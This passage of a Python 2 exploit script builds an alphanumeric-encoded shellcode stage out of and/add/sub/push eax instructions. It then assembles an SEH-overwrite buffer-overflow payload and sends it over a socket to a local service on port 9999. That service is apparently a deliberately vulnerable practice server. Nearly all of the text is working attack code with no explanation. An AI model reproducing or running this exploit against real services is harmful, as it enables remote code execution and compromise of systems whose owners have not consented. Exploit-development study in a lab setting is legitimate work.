stage4 += "\x05\x67\x63\x32\x31" ## add  eax, 0x31326367
stage4 += "\x05\x66\x62\x22\x22" ## add  eax, 0x22226266
stage4 += "\x05\x45\x42\x22\x21" ## add  eax, 0x21224245
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x52\x31\x32\x12" ## add  eax, 0x12323152
stage4 += "\x05\x41\x30\x21\x12" ## add  eax, 0x12213041
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x36\x44\x11\x36" ## add  eax, 0x36114436
stage4 += "\x05\x35\x44\x12\x35" ## add  eax, 0x35124435
stage4 += "\x05\x36\x33\x11\x33" ## add  eax, 0x33113336
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x57\x33\x60\x16" ## add  eax, 0x16603357
stage4 += "\x05\x46\x42\x60\x15" ## add  eax, 0x15604246
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x37\x10\x17\x11" ## add  eax, 0x11171037
stage4 += "\x05\x27\x10\x07\x01" ## add  eax, 0x01071027
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x66\x61\x47\x41" ## add  eax, 0x41476166
stage4 += "\x05\x56\x61\x36\x41" ## add  eax, 0x41366156
stage4 += "\x05\x64\x41\x35\x41" ## add  eax, 0x41354164
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x34\x63\x21\x17" ## add  eax, 0x17216334
stage4 += "\x05\x23\x53\x21\x16" ## add  eax, 0x16215323
stage4 += "\x05\x23\x63\x21\x15" ## add  eax, 0x15216323
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x21\x24\x27\x53" ## add  eax, 0x53272421
stage4 += "\x05\x12\x14\x26\x43" ## add  eax, 0x43261412
stage4 += "\x05\x21\x24\x25\x43" ## add  eax, 0x43252421
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x25\x36\x46\x16" ## add  eax, 0x16463625
stage4 += "\x05\x24\x45\x45\x16" ## add  eax, 0x16454524
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x44\x67\x63\x41" ## add  eax, 0x41636744
stage4 += "\x05\x34\x56\x53\x41" ## add  eax, 0x41535634
stage4 += "\x05\x34\x65\x42\x31" ## add  eax, 0x31426534
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x24\x46\x46\x57" ## add  eax, 0x57464624
stage4 += "\x05\x24\x45\x45\x46" ## add  eax, 0x46454524
stage4 += "\x05\x24\x33\x34\x45" ## add  eax, 0x45343324
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x11\x34\x46" ## add  eax, 0x46341133
stage4 += "\x05\x32\x12\x34\x45" ## add  eax, 0x45341232
stage4 += "\x05\x22\x11\x34\x46" ## add  eax, 0x46341122
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x13\x76\x41\x36" ## add  eax, 0x36417613
stage4 += "\x05\x23\x65\x42\x36" ## add  eax, 0x36426523
stage4 += "\x05\x13\x56\x41\x24" ## add  eax, 0x24415613
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x07\x02\x21\x55" ## add  eax, 0x55210207
stage4 += "\x05\x07\x01\x20\x54" ## add  eax, 0x54200107
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x63\x02\x21\x33" ## add  eax, 0x33210263
stage4 += "\x05\x64\x02\x10\x24" ## add  eax, 0x24100264
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x65\x61\x32\x42" ## add  eax, 0x42326165
stage4 += "\x05\x64\x50\x21\x41" ## add  eax, 0x41215064
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x54\x73\x16\x26" ## add  eax, 0x26167354
stage4 += "\x05\x43\x62\x15\x15" ## add  eax, 0x15156243
stage4 += "\x05\x43\x52\x13\x23" ## add  eax, 0x23135243
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x45\x73\x65\x13" ## add  eax, 0x13657345
stage4 += "\x05\x44\x74\x55\x03" ## add  eax, 0x03557444
stage4 += "\x50"                 ## push eax

payload = ""
payload += vuln_command
payload += stage4
payload += "A" * (offset - len(stage1) - 73 - len(stage4))
payload += stage3
payload += "B" * (73 - len(stage3))
payload += stage1
payload += seh
payload += "C" * 2
payload += stage2
payload += "C" * (crash - 4 - offset - 2 - len(stage2))

print "[+] Sending buffer (Size: %d)" % len(payload)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9999))
print(s.recv(1024))
s.send(payload)
s.close()

